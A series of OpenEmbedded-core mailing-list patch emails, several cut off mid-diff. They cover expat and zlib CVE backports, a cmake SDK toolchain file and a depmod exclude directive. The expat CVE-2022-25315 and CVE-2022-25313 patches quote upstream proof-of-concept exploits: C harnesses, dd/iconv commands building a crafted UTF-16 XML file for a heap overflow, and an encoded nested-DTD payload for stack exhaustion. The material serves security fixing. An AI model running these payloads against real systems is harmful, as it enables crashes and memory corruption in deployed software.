[OE-core] [hardknott][PATCH 3/3] expat: fix CVE-2022-25315
From: Kai Kang
Backport patch to fix CVE-2022-25315.
CVE: CVE-2022-25315
Signed-off-by: Kai Kang
---
.../expat/expat/CVE-2022-25315.patch | 149 ++
meta/recipes-core/expat/expat_2.2.10.bb | 1 +
2 files changed, 150 insertions(+)
create mode 100644 meta/recipes-core/expat/expat/CVE-2022-25315.patch
diff --git a/meta/recipes-core/expat/expat/CVE-2022-25315.patch
b/meta/recipes-core/expat/expat/CVE-2022-25315.patch
new file mode 100644
index 00..24e04dac71
--- /dev/null
+++ b/meta/recipes-core/expat/expat/CVE-2022-25315.patch
@@ -0,0 +1,149 @@
+CVE: CVE-2022-25315
+Upstream-Status: Backport
[https://github.com/libexpat/libexpat/commit/eb036280]
+
+Ref:
+* https://github.com/libexpat/libexpat/pull/559
+
+Signed-off-by: Kai Kang
+
+From eb0362808b4f9f1e2345a0cf203b8cc196d776d9 Mon Sep 17 00:00:00 2001
+From: Samanta Navarro
+Date: Tue, 15 Feb 2022 11:55:46 +
+Subject: [PATCH] Prevent integer overflow in storeRawNames
+
+It is possible to use an integer overflow in storeRawNames for out of
+boundary heap writes. Default configuration is affected. If compiled
+with XML_UNICODE then the attack does not work. Compiling with
+-fsanitize=address confirms the following proof of concept.
+
+The problem can be exploited by abusing the m_buffer expansion logic.
+Even though the initial size of m_buffer is a power of two, eventually
+it can end up a little bit lower, thus allowing allocations very close
+to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
+names can be parsed which are almost INT_MAX in size.
+
+Unfortunately (from an attacker point of view) INT_MAX/2 is also a
+limitation in string pools. Having a tag name of INT_MAX/2 characters
+or more is not possible.
+
+Expat can convert between different encodings. UTF-16 documents which
+contain only ASCII representable characters are twice as large as their
+ASCII encoded counter-parts.
+
+The proof of concept works by taking these three considerations into
+account:
+
+1. Move the m_buffer size slightly below a power of two by having a
+ short root node . This allows the m_buffer to grow very close
+ to INT_MAX.
+2. The string pooling forbids tag names longer than or equal to
+ INT_MAX/2, so keep the attack tag name smaller than that.
+3. To be able to still overflow INT_MAX even though the name is
+ limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
+ which only contains ASCII characters. UTF-16 always stores two
+ bytes per character while the tag name is converted to using only
+ one. Our attack node byte count must be a bit higher than
+ 2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
+ in sum can overflow INT_MAX.
+
+Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
+without running into INT_MAX boundary check. The string pooling is
+able to store INT_MAX/3 as tag name because the amount is below
+INT_MAX/2 limitation. And creating the sum of both eventually overflows
+in storeRawNames.
+
+Proof of Concept:
+
+1. Compile expat with -fsanitize=address.
+
+2. Create Proof of Concept binary which iterates through input
+ file 16 MB at once for better performance and easier integer
+ calculations:
+
+```
+cat > poc.c << EOF
+ #include
+ #include
+ #include
+ #include
+
+ #define CHUNK (16 * 1024 * 1024)
+ int main(int argc, char *argv[]) {
+ XML_Parser parser;
+ FILE *fp;
+ char *buf;
+ int i;
+
+ if (argc != 2)
+ errx(1, "usage: poc file.xml");
+ if ((parser = XML_ParserCreate(NULL)) == NULL)
+ errx(1, "failed to create expat parser");
+ if ((fp = fopen(argv[1], "r")) == NULL) {
+ XML_ParserFree(parser);
+ err(1, "failed to open file");
+ }
+ if ((buf = malloc(CHUNK)) == NULL) {
+ fclose(fp);
+ XML_ParserFree(parser);
+ err(1, "failed to allocate buffer");
+ }
+ i = 0;
+ while (fread(buf, CHUNK, 1, fp) == 1) {
+ printf("iteration %d: XML_Parse returns %d\n", ++i,
+ XML_Parse(parser, buf, CHUNK, XML_FALSE));
+ }
+ free(buf);
+ fclose(fp);
+ XML_ParserFree(parser);
+ return 0;
+ }
+EOF
+gcc -fsanitize=address -lexpat -o poc poc.c
+```
+
+3. Construct specially prepared UTF-16 XML file:
+
+```
+dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
+echo -n '<' | dd conv=notrunc of=poc-utf8.xml
+echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
+iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
+```
+
+4. Run proof of concept:
+
+```
+./poc poc-utf16.xml
+```
+---
+ expat/lib/xmlparse.c | 7 ++-
+ 1 file changed, 6 insertions(+), 1 deletion(-)
+
+diff --git a/expat/lib/xmlparse.c b/expat/lib/xmlparse.c
+index 4b43e613..f34d6ab5 100644
+--- a/lib/xmlparse.c
b/lib/xmlparse.c
+@@ -2563,6 +2563,7 @@ storeRawNames(XML_Parser parser) {
+ while (tag) {
+ int bufSize;
+ int nameLen = sizeof(XML_Char) * (tag->name.strLen + 1);
++size_t rawNameLen;
+ char *rawNameBuf = tag->buf + nameLen;
+ /
[OE-core] [hardknott][PATCH 1/3] expat: fix CVE-2022-25313
From: Kai Kang
Backport patch to fix CVE-2022-25313.
CVE: CVE-2022-25313
Signed-off-by: Kai Kang
---
.../expat/expat/CVE-2022-25313.patch | 233 ++
meta/recipes-core/expat/expat_2.2.10.bb | 1 +
2 files changed, 234 insertions(+)
create mode 100644 meta/recipes-core/expat/expat/CVE-2022-25313.patch
diff --git a/meta/recipes-core/expat/expat/CVE-2022-25313.patch
b/meta/recipes-core/expat/expat/CVE-2022-25313.patch
new file mode 100644
index 00..569324303e
--- /dev/null
+++ b/meta/recipes-core/expat/expat/CVE-2022-25313.patch
@@ -0,0 +1,233 @@
+CVE: CVE-2022-25313
+Upstream-Status: Backport
[https://github.com/libexpat/libexpat/commit/9b4ce651]
+
+Ref:
+* https://github.com/libexpat/libexpat/pull/558
+
+Signed-off-by: Kai Kang
+
+From 9b4ce651b26557f16103c3a366c91934ecd439ab Mon Sep 17 00:00:00 2001
+From: Samanta Navarro
+Date: Tue, 15 Feb 2022 11:54:29 +
+Subject: [PATCH] Prevent stack exhaustion in build_model
+
+It is possible to trigger stack exhaustion in build_model function if
+depth of nested children in DTD element is large enough. This happens
+because build_node is a recursively called function within build_model.
+
+The code has been adjusted to run iteratively. It uses the already
+allocated heap space as temporary stack (growing from top to bottom).
+
+Output is identical to recursive version. No new fields in data
+structures were added, i.e. it keeps full API and ABI compatibility.
+Instead the numchildren variable is used to temporarily keep the
+index of items (uint vs int).
+
+Documentation and readability improvements kindly added by Sebastian.
+
+Proof of Concept:
+
+1. Compile poc binary which parses XML file line by line
+
+```
+cat > poc.c << EOF
+ #include
+ #include
+ #include
+
+ XML_Parser parser;
+
+ static void XMLCALL
+ dummy_element_decl_handler(void *userData, const XML_Char *name,
+XML_Content *model) {
+ XML_FreeContentModel(parser, model);
+ }
+
+ int main(int argc, char *argv[]) {
+ FILE *fp;
+ char *p = NULL;
+ size_t s = 0;
+ ssize_t l;
+ if (argc != 2)
+ errx(1, "usage: poc poc.xml");
+ if ((parser = XML_ParserCreate(NULL)) == NULL)
+ errx(1, "XML_ParserCreate");
+ XML_SetElementDeclHandler(parser, dummy_element_decl_handler);
+ if ((fp = fopen(argv[1], "r")) == NULL)
+ err(1, "fopen");
+ while ((l = getline(&p, &s, fp)) > 0)
+ if (XML_Parse(parser, p, (int)l, XML_FALSE) != XML_STATUS_OK)
+ errx(1, "XML_Parse");
+ XML_ParserFree(parser);
+ free(p);
+ fclose(fp);
+ return 0;
+ }
+EOF
+cc -std=c11 -D_POSIX_C_SOURCE=200809L -lexpat -o poc poc.c
+```
+
+2. Create XML file with a lot of nested groups in DTD element
+
+```
+cat > poc.xml.zst.b64 << EOF
+KLUv/aQkACAAPAEA+DwhRE9DVFlQRSB1d3UgWwo8IUVMRU1FTlQgdXd1CigBAHv/58AJAgAQKAIA
+ECgCABAoAgAQKAIAECgCABAoAgAQKHwAAChvd28KKQIA2/8gV24XBAIAECkCABApAgAQKQIAECkC
+ABApAgAQKQIAEClVAAAgPl0+CgEA4A4I2VwwnQ==
+EOF
+base64 -d poc.xml.zst.b64 | zstd -d > poc.xml
+```
+
+3. Run Proof of Concept
+
+```
+./poc poc.xml
+```
+
+Co-authored-by: Sebastian Pipping
+---
+ expat/lib/xmlparse.c | 116 +--
+ 1 file changed, 79 insertions(+), 37 deletions(-)
+
+diff --git a/expat/lib/xmlparse.c b/expat/lib/xmlparse.c
+index 4b43e613..594cf12c 100644
+--- a/lib/xmlparse.c
b/lib/xmlparse.c
+@@ -7317,44 +7317,15 @@ nextScaffoldPart(XML_Parser parser) {
+ return next;
+ }
+
+-static void
+-build_node(XML_Parser parser, int src_node, XML_Content *dest,
+- XML_Content **contpos, XML_Char **strpos) {
+- DTD *const dtd = parser->m_dtd; /* save one level of indirection */
+- dest->type = dtd->scaffold[src_node].type;
+- dest->quant = dtd->scaffold[src_node].quant;
+- if (dest->type == XML_CTYPE_NAME) {
+-const XML_Char *src;
+-dest->name = *strpos;
+-src = dtd->scaffold[src_node].name;
+-for (;;) {
+- *(*strpos)++ = *src;
+- if (! *src)
+-break;
+- src++;
+-}
+-dest->numchildren = 0;
+-dest->children = NULL;
+- } else {
+-unsigned int i;
+-int cn;
+-dest->numchildren = dtd->scaffold[src_node].childcnt;
+-dest->children = *contpos;
+-*contpos += dest->numchildren;
+-for (i = 0, cn = dtd->scaffold[src_node].firstchild; i <
dest->numchildren;
+- i++, cn = dtd->scaffold[cn].nextsib) {
+- build_node(parser, cn, &(dest->children[i]), contpos, strpos);
+-}
+-dest->name = NULL;
+- }
+-}
+-
+ static XML_Content *
+ build_model(XML_Parser parser) {
++ /* Function build_model transforms the existing parser->m_dtd->scaffold
++ * array of CONTENT_SCAFFOLD tree nodes into a new array of
++ * XML_Content tree nodes followed by a gapless list of zero-terminated
++ * strings. */
+ DTD *const dtd = parser->m_dtd; /* save one level of indirection */
+ XML_Content *ret;
+- XML_Content *cpos;
+- XML_Char *str;
++ XML_Char *str; /* the current string writing location */
+
+
[OE-core] [hardknott][PATCH 2/3] expat: fix CVE-2022-25314
From: Kai Kang
Backport patch to fix CVE-2022-25314 for expat.
CVE: CVE-2022-25314
Signed-off-by: Kai Kang
---
.../expat/expat/CVE-2022-25314.patch | 35 +++
meta/recipes-core/expat/expat_2.2.10.bb | 1 +
2 files changed, 36 insertions(+)
create mode 100644 meta/recipes-core/expat/expat/CVE-2022-25314.patch
diff --git a/meta/recipes-core/expat/expat/CVE-2022-25314.patch
b/meta/recipes-core/expat/expat/CVE-2022-25314.patch
new file mode 100644
index 00..56e875894e
--- /dev/null
+++ b/meta/recipes-core/expat/expat/CVE-2022-25314.patch
@@ -0,0 +1,35 @@
+CVE: CVE-2022-25314
+Upstream-Status: Backport
[https://github.com/libexpat/libexpat/commit/efcb3474]
+
+Ref:
+* https://github.com/libexpat/libexpat/pull/560
+
+Signed-off-by: Kai Kang
+
+From efcb347440ade24b9f1054671e6bd05e60b4cafd Mon Sep 17 00:00:00 2001
+From: Samanta Navarro
+Date: Tue, 15 Feb 2022 11:56:57 +
+Subject: [PATCH] Prevent integer overflow in copyString
+
+The copyString function is only used for encoding string supplied by
+the library user.
+---
+ expat/lib/xmlparse.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/expat/lib/xmlparse.c b/expat/lib/xmlparse.c
+index 4b43e613..a39377c2 100644
+--- a/lib/xmlparse.c
b/lib/xmlparse.c
+@@ -7412,7 +7412,7 @@ getElementType(XML_Parser parser, const ENCODING *enc,
const char *ptr,
+
+ static XML_Char *
+ copyString(const XML_Char *s, const XML_Memory_Handling_Suite *memsuite) {
+- int charsRequired = 0;
++ size_t charsRequired = 0;
+ XML_Char *result;
+
+ /* First determine how long the string is */
+--
+2.33.0
+
diff --git a/meta/recipes-core/expat/expat_2.2.10.bb
b/meta/recipes-core/expat/expat_2.2.10.bb
index 7454718dca..0ab93bd93d 100644
--- a/meta/recipes-core/expat/expat_2.2.10.bb
+++ b/meta/recipes-core/expat/expat_2.2.10.bb
@@ -21,6 +21,7 @@ SRC_URI =
"https://github.com/libexpat/libexpat/releases/download/R_${VERSION_TA
file://CVE-2022-25236-1.patch \
file://CVE-2022-25236-2.patch \
file://CVE-2022-25313.patch \
+ file://CVE-2022-25314.patch \
"
UPSTREAM_CHECK_URI = "https://github.com/libexpat/libexpat/releases/";
--
2.17.1
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163802):
https://lists.openembedded.org/g/openembedded-core/message/163802
Mute This Topic: https://lists.openembedded.org/mt/90149641/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
[OE-core][PATCH] cmake: support to create per-toolchain cmake file in SDK
The patch creates ${MULTIMACH_TARGET_SYS}-toolchain.cmake file
at ${SDK_INSTALL_DIR}/sysroots/${SDK_SYS}/usr/share/cmake/, which is
per-toolchain CMake toolchain file containing arch-specific values
and independent of OE environment variables.
The file gets created after installing SDK toolchain installer
ined by running "bitbake -c populate_sdk ".
The changes are similar to meson-setup.py which is used to
create arch-specific
${SDK_INSTALL_DIR}/sysroots/${SDK_SYS}/usr/share/meson/*-meson.cross
[YOCTO #14644]
Tested-by: Jan Dorniak
Signed-off-by: Jagadeesh Krishnanjanappa
---
meta/classes/toolchain-scripts.bbclass| 1 +
.../cmake/SDKToolchainConfig.cmake.template | 31 +
.../cmake/cmake/cmake-setup.py| 33 +++
meta/recipes-devtools/cmake/cmake_3.22.3.bb | 7
4 files changed, 72 insertions(+)
create mode 100644
meta/recipes-devtools/cmake/cmake/SDKToolchainConfig.cmake.template
create mode 100755 meta/recipes-devtools/cmake/cmake/cmake-setup.py
diff --git a/meta/classes/toolchain-scripts.bbclass
b/meta/classes/toolchain-scripts.bbclass
index 8f914cce27..1d7c703748 100644
--- a/meta/classes/toolchain-scripts.bbclass
+++ b/meta/classes/toolchain-scripts.bbclass
@@ -109,6 +109,7 @@ toolchain_shared_env_script () {
echo 'export OECORE_SDK_VERSION="${SDK_VERSION}"' >> $script
echo 'export ARCH=${ARCH}' >> $script
echo 'export CROSS_COMPILE=${TARGET_PREFIX}' >> $script
+ echo 'export OECORE_TUNE_CCARGS="${TUNE_CCARGS}"' >> $script
cat >> $script <
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163800):
https://lists.openembedded.org/g/openembedded-core/message/163800
Mute This Topic: https://lists.openembedded.org/mt/90147924/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
Re: [OE-core] [PATCH][dunfell] zlib: backport the fix for CVE-2018-25032
On Wed, 2022-03-30 at 21:40 +0100, Ross Burton wrote: > Hm, turns out I was being too clever back in 2019. > > Anuj: the quick fix is to not use :prepend/:remove to manipulate > SRC_URI, but just override it entirely. You won't get the CVE but > that will be flagged in scans and you (or even better,the fork > maintainer) can rebase the CVE patch. > > As this is a fairly important CVE I'm tempted to say we merge to > oe-core dunfell now and let meta-intel catch up... Yes, I think we should merge this if there are no other issues and I will take care of the meta-intel failure. Thanks, Anuj > > Ross > > On Tue, 29 Mar 2022 at 20:49, Steve Sakoman > wrote: > > > > On Tue, Mar 29, 2022 at 3:07 AM Ross Burton > > wrote: > > > > > > Signed-off-by: Ross Burton > > > --- > > > .../zlib/zlib/CVE-2018-25032.patch | 347 > > > ++ > > > > This breaks dunfell meta-intel: > > > > ERROR: Applying patch 'CVE-2018-25032.patch' on target directory > > 'TOPDIR/tmp/work/corei7-64-poky-linux/zlib-intel/1.2.11.1.jtkv6.3- > > r0/git' > > Command Error: 'quilt --quiltrc > > TOPDIR/tmp/work/corei7-64-poky-linux/zlib-intel/1.2.11.1.jtkv6.3- > > r0/recipe-sysroot-native/etc/quiltrc > > push' exited with 0 Output: > > Applying patch CVE-2018-25032.patch > > patching file deflate.c > > Hunk #1 succeeded at 237 (offset -18 lines). > > Hunk #2 succeeded at 319 (offset -5 lines). > > Hunk #3 succeeded at 368 (offset -5 lines). > > Hunk #4 succeeded at 590 (offset 1 line). > > Hunk #5 succeeded at 1162 (offset 12 lines). > > Hunk #6 succeeded at 1181 (offset 12 lines). > > Hunk #7 succeeded at 1195 (offset 12 lines). > > Hunk #8 succeeded at 1957 (offset -2 lines). > > Hunk #9 succeeded at 1996 (offset -94 lines). > > Hunk #10 FAILED at 2165. > > Hunk #11 FAILED at 2204. > > 2 out of 11 hunks FAILED -- rejects in file deflate.c > > patching file deflate.h > > Hunk #1 succeeded at 230 (offset 13 lines). > > Hunk #2 succeeded at 252 (offset 13 lines). > > Hunk #3 succeeded at 339 (offset 19 lines). > > patching file trees.c > > Hunk #1 succeeded at 343 (offset -73 lines). > > Hunk #2 succeeded at 875 (offset -73 lines). > > Hunk #3 succeeded at 944 (offset -73 lines). > > Hunk #4 succeeded at 961 (offset -73 lines). > > Hunk #5 succeeded at 974 (offset -73 lines). > > Hunk #6 succeeded at 1006 (offset -73 lines). > > Patch CVE-2018-25032.patch does not apply (enforce with -f) > > > > Steve > > > > > meta/recipes-core/zlib/zlib_1.2.11.bb | 1 + > > > 2 files changed, 348 insertions(+) > > > create mode 100644 meta/recipes-core/zlib/zlib/CVE-2018- > > > 25032.patch > > > > > > diff --git a/meta/recipes-core/zlib/zlib/CVE-2018-25032.patch > > > b/meta/recipes-core/zlib/zlib/CVE-2018-25032.patch > > > new file mode 100644 > > > index 000..5cb61836419 > > > --- /dev/null > > > +++ b/meta/recipes-core/zlib/zlib/CVE-2018-25032.patch > > > @@ -0,0 +1,347 @@ > > > +CVE: CVE-2018-25032 > > > +Upstream-Status: Backport > > > +Signed-off-by: Ross Burton > > > + > > > +From 5c44459c3b28a9bd3283aaceab7c615f8020c531 Mon Sep 17 > > > 00:00:00 2001 > > > +From: Mark Adler > > > +Date: Tue, 17 Apr 2018 22:09:22 -0700 > > > +Subject: [PATCH] Fix a bug that can crash deflate on some input > > > when using > > > + Z_FIXED. > > > + > > > +This bug was reported by Danilo Ramos of Eideticom, Inc. It has > > > +lain in wait 13 years before being found! The bug was introduced > > > +in zlib 1.2.2.2, with the addition of the Z_FIXED option. That > > > +option forces the use of fixed Huffman codes. For rare inputs > > > with > > > +a large number of distant matches, the pending buffer into which > > > +the compressed data is written can overwrite the distance symbol > > > +table which it overlays. That results in corrupted output due to > > > +invalid distances, and can result in out-of-bound accesses, > > > +crashing the application. > > > + > > > +The fix here combines the distance buffer and literal/length > > > +buffers into a single symbol buffer. Now three bytes of pending > > > +buffer space are opened up for each literal or length/distance > > > +pair consumed, instead of the previous two bytes. This assures > > > +that the pending buffer cannot overwrite the symbol table, since > > > +the maximum fixed code compressed length/distance is 31 bits, > > > and > > > +since there are four bytes of pending space for every three > > > bytes > > > +of symbol space. > > > +--- > > > + deflate.c | 74 > > > --- > > > + deflate.h | 25 +-- > > > + trees.c | 50 +++-- > > > + 3 files changed, 79 insertions(+), 70 deletions(-) > > > + > > > +diff --git a/deflate.c b/deflate.c > > > +index 425babc00..19cba873a 100644 > > > +--- a/deflate.c > > > b/deflate.c > > > +@@ -255,11 +255,6 @@ int ZEXPORT deflateInit2_(strm, level, > > > method, windowBits, memLevel, strategy, > > > + int wrap = 1; > > > +
Re: [OE-core] [PATCH][dunfell] zlib: backport the fix for CVE-2018-25032
On Wed, Mar 30, 2022 at 10:40 AM Ross Burton wrote: > > Hm, turns out I was being too clever back in 2019. > > Anuj: the quick fix is to not use :prepend/:remove to manipulate > SRC_URI, but just override it entirely. You won't get the CVE but > that will be flagged in scans and you (or even better,the fork > maintainer) can rebase the CVE patch. > > As this is a fairly important CVE I'm tempted to say we merge to > oe-core dunfell now and let meta-intel catch up... Unfortunately this triggers other errors too :-( https://autobuilder.yoctoproject.org/typhoon/#/builders/50/builds/4987 https://autobuilder.yoctoproject.org/typhoon/#/builders/76/builds/4949 Steve > > Ross > > On Tue, 29 Mar 2022 at 20:49, Steve Sakoman wrote: > > > > On Tue, Mar 29, 2022 at 3:07 AM Ross Burton wrote: > > > > > > Signed-off-by: Ross Burton > > > --- > > > .../zlib/zlib/CVE-2018-25032.patch| 347 ++ > > > > This breaks dunfell meta-intel: > > > > ERROR: Applying patch 'CVE-2018-25032.patch' on target directory > > 'TOPDIR/tmp/work/corei7-64-poky-linux/zlib-intel/1.2.11.1.jtkv6.3-r0/git' > > Command Error: 'quilt --quiltrc > > TOPDIR/tmp/work/corei7-64-poky-linux/zlib-intel/1.2.11.1.jtkv6.3-r0/recipe-sysroot-native/etc/quiltrc > > push' exited with 0 Output: > > Applying patch CVE-2018-25032.patch > > patching file deflate.c > > Hunk #1 succeeded at 237 (offset -18 lines). > > Hunk #2 succeeded at 319 (offset -5 lines). > > Hunk #3 succeeded at 368 (offset -5 lines). > > Hunk #4 succeeded at 590 (offset 1 line). > > Hunk #5 succeeded at 1162 (offset 12 lines). > > Hunk #6 succeeded at 1181 (offset 12 lines). > > Hunk #7 succeeded at 1195 (offset 12 lines). > > Hunk #8 succeeded at 1957 (offset -2 lines). > > Hunk #9 succeeded at 1996 (offset -94 lines). > > Hunk #10 FAILED at 2165. > > Hunk #11 FAILED at 2204. > > 2 out of 11 hunks FAILED -- rejects in file deflate.c > > patching file deflate.h > > Hunk #1 succeeded at 230 (offset 13 lines). > > Hunk #2 succeeded at 252 (offset 13 lines). > > Hunk #3 succeeded at 339 (offset 19 lines). > > patching file trees.c > > Hunk #1 succeeded at 343 (offset -73 lines). > > Hunk #2 succeeded at 875 (offset -73 lines). > > Hunk #3 succeeded at 944 (offset -73 lines). > > Hunk #4 succeeded at 961 (offset -73 lines). > > Hunk #5 succeeded at 974 (offset -73 lines). > > Hunk #6 succeeded at 1006 (offset -73 lines). > > Patch CVE-2018-25032.patch does not apply (enforce with -f) > > > > Steve > > > > > meta/recipes-core/zlib/zlib_1.2.11.bb | 1 + > > > 2 files changed, 348 insertions(+) > > > create mode 100644 meta/recipes-core/zlib/zlib/CVE-2018-25032.patch > > > > > > diff --git a/meta/recipes-core/zlib/zlib/CVE-2018-25032.patch > > > b/meta/recipes-core/zlib/zlib/CVE-2018-25032.patch > > > new file mode 100644 > > > index 000..5cb61836419 > > > --- /dev/null > > > +++ b/meta/recipes-core/zlib/zlib/CVE-2018-25032.patch > > > @@ -0,0 +1,347 @@ > > > +CVE: CVE-2018-25032 > > > +Upstream-Status: Backport > > > +Signed-off-by: Ross Burton > > > + > > > +From 5c44459c3b28a9bd3283aaceab7c615f8020c531 Mon Sep 17 00:00:00 2001 > > > +From: Mark Adler > > > +Date: Tue, 17 Apr 2018 22:09:22 -0700 > > > +Subject: [PATCH] Fix a bug that can crash deflate on some input when > > > using > > > + Z_FIXED. > > > + > > > +This bug was reported by Danilo Ramos of Eideticom, Inc. It has > > > +lain in wait 13 years before being found! The bug was introduced > > > +in zlib 1.2.2.2, with the addition of the Z_FIXED option. That > > > +option forces the use of fixed Huffman codes. For rare inputs with > > > +a large number of distant matches, the pending buffer into which > > > +the compressed data is written can overwrite the distance symbol > > > +table which it overlays. That results in corrupted output due to > > > +invalid distances, and can result in out-of-bound accesses, > > > +crashing the application. > > > + > > > +The fix here combines the distance buffer and literal/length > > > +buffers into a single symbol buffer. Now three bytes of pending > > > +buffer space are opened up for each literal or length/distance > > > +pair consumed, instead of the previous two bytes. This assures > > > +that the pending buffer cannot overwrite the symbol table, since > > > +the maximum fixed code compressed length/distance is 31 bits, and > > > +since there are four bytes of pending space for every three bytes > > > +of symbol space. > > > +--- > > > + deflate.c | 74 --- > > > + deflate.h | 25 +-- > > > + trees.c | 50 +++-- > > > + 3 files changed, 79 insertions(+), 70 deletions(-) > > > + > > > +diff --git a/deflate.c b/deflate.c > > > +index 425babc00..19cba873a 100644 > > > +--- a/deflate.c > > > b/deflate.c > > > +@@ -255,11 +255,6 @@ int ZEXPORT deflateInit2_(strm, level, method, > > > windowBits, memLevel, strategy, > > > + int wrap = 1; > >
Re: [OE-core] [PATCH 1/2] kmod: Add an exclude directive to depmod
I got some feedback from the kmod upstream, a v2 will be coming soon.
Sau!
On 3/30/22 15:11, Saul Wold wrote:
This adds a new configuration directive to depmod that causes
depmod to exclude a give path entry like .debug.
kernel-dbg provides the modules .debug/.ko files and
when installed either directly or when dbg-pkgs are selected
this can cause depmod to fail.
This patch will be submitted to upstream kmod.
Signed-off-by: Saul Wold
---
.../kmod/depmodwrapper-cross_1.0.bb | 3 +
...dd-support-for-excluding-a-directory.patch | 158 ++
meta/recipes-kernel/kmod/kmod_29.bb | 4 +
3 files changed, 165 insertions(+)
create mode 100644
meta/recipes-kernel/kmod/kmod/0001-depmod-Add-support-for-excluding-a-directory.patch
diff --git a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
index 04fc14a6d21..aa23ba41276 100644
--- a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
+++ b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
@@ -16,6 +16,9 @@ do_populate_sysroot[depends] = ""
do_install() {
install -d ${D}${bindir_crossscripts}/
+ install -d ${D}${sysconfdir}/depmod.d/
+
+ echo "exclude .debug" > ${D}${sysconfdir}/depmod.d/exclude.conf
cat > ${D}${bindir_crossscripts}/depmodwrapper << EOF
#!/bin/sh
diff --git
a/meta/recipes-kernel/kmod/kmod/0001-depmod-Add-support-for-excluding-a-directory.patch
b/meta/recipes-kernel/kmod/kmod/0001-depmod-Add-support-for-excluding-a-directory.patch
new file mode 100644
index 000..3f16cdf0574
--- /dev/null
+++
b/meta/recipes-kernel/kmod/kmod/0001-depmod-Add-support-for-excluding-a-directory.patch
@@ -0,0 +1,158 @@
+From 8bc07c3ba3a412bd6bb94ad8bad0d76801ec2c9f Mon Sep 17 00:00:00 2001
+From: Saul Wold
+Date: Tue, 22 Mar 2022 12:11:45 -0700
+Subject: [PATCH] depmod: Add support for excluding a directory
+
+This adds support to depmod to enable a new exclude directive in
+the depmod.d/exclude.conf configuration file. Currently depmod
+already excludes directories named source or build. This change
+will allow additional directories like .debug to be excluded also
+via a new exclude directive.
+
+depmod.d/exclude.conf example:
+exclude.debug
+
+Upstream-Status: Submitted
+
+Signed-off-by: Saul Wold
+
+%% original patch: 0001-depmod-Add-support-for-excluding-a-directory.patch
+---
+ man/depmod.d.xml | 14 +
+ tools/depmod.c | 54
+ 2 files changed, 68 insertions(+)
+
+diff --git a/man/depmod.d.xml b/man/depmod.d.xml
+index b315e93..9ab790a 100644
+--- a/man/depmod.d.xml
b/man/depmod.d.xml
+@@ -131,6 +131,20 @@
+
+
+
++
++external excludedir
++
++
++
++This specifies the trailing directories that will be excluded
++during the search for kernel modules.
++
++
++ The excludedir the trailing directory
++ to exclude
++
++
++
+
+
+
+diff --git a/tools/depmod.c b/tools/depmod.c
+index eb810b8..8b19ab6 100644
+--- a/tools/depmod.c
b/tools/depmod.c
+@@ -458,6 +458,12 @@ struct cfg_external {
+ char path[];
+ };
+
++struct cfg_exclude {
++ struct cfg_exclude *next;
++ size_t len;
++ char exclude_dir[];
++};
++
+ struct cfg {
+ const char *kversion;
+ char dirname[PATH_MAX];
+@@ -469,6 +475,7 @@ struct cfg {
+ struct cfg_override *overrides;
+ struct cfg_search *searches;
+ struct cfg_external *externals;
++ struct cfg_exclude *excludes;
+ };
+
+ static enum search_type cfg_define_search_type(const char *path)
+@@ -580,6 +587,31 @@ static void cfg_external_free(struct cfg_external *ext)
+ free(ext);
+ }
+
++static int cfg_exclude_add(struct cfg *cfg, const char *path)
++{
++ struct cfg_exclude *exc;
++ size_t len = strlen(path);
++
++ exc = malloc(sizeof(struct cfg_exclude) + len);
++ if (exc == NULL) {
++ ERR("exclude add: out of memory\n");
++ return -ENOMEM;
++ }
++ exc->len = len;
++ memcpy(exc->exclude_dir, path, len);
++
++ DBG("exclude add: %s\n", path);
++
++ exc->next = cfg->excludes;
++ cfg->excludes = exc;
++ return 0;
++}
++
++static void cfg_exclude_free(struct cfg_exclude *exc)
++{
++ free(exc);
++}
++
+ static int cfg_kernel_matches(const struct cfg *cfg, const char *pattern)
+ {
+ regex_t re;
+@@ -657,6 +689,11 @@ static int cfg_file_parse(struct cfg *cfg, const char
*filename)
+ }
+
+ cfg_external_add(cfg, dir);
++ } else if (streq(cmd, "exclude")) {
++ const char *sp;
++ while ((sp = strtok_r(NULL, "\t ", &saveptr)) != NULL) {
++ cfg_exclude_add(cfg, sp);
++ }
+
Re: [OE-core] [PATCH 2/2] depmodwrapper: Use native staging dir
On Wed, 2022-03-30 at 15:11 -0700, Saul Wold wrote:
> Use the native staging dir so that we can get the correct depmod.d
> configuration
> files. When depmod runs we want to ensure that the newly supported
> exclude.conf
> is read so that .debug/.ko files are excluded.
>
> Signed-off-by: Saul Wold
> ---
> meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb | 4 ++--
> 1 file changed, 2 insertions(+), 2 deletions(-)
>
> diff --git a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
> b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
> index aa23ba41276..9921b7e8ad7 100644
> --- a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
> +++ b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
> @@ -35,9 +35,9 @@ fi
>
> if [ ! -r ${PKGDATA_DIR}/kernel-depmod/System.map-\$4 ] || [ "\$kernelabi"
> != "\$4" ]; then
> echo "Unable to read: ${PKGDATA_DIR}/kernel-depmod/System.map-\$4" >&2
> -exec env depmod -C "\$3${sysconfdir}/depmod.d" "\$1" "\$2" "\$3" "\$4"
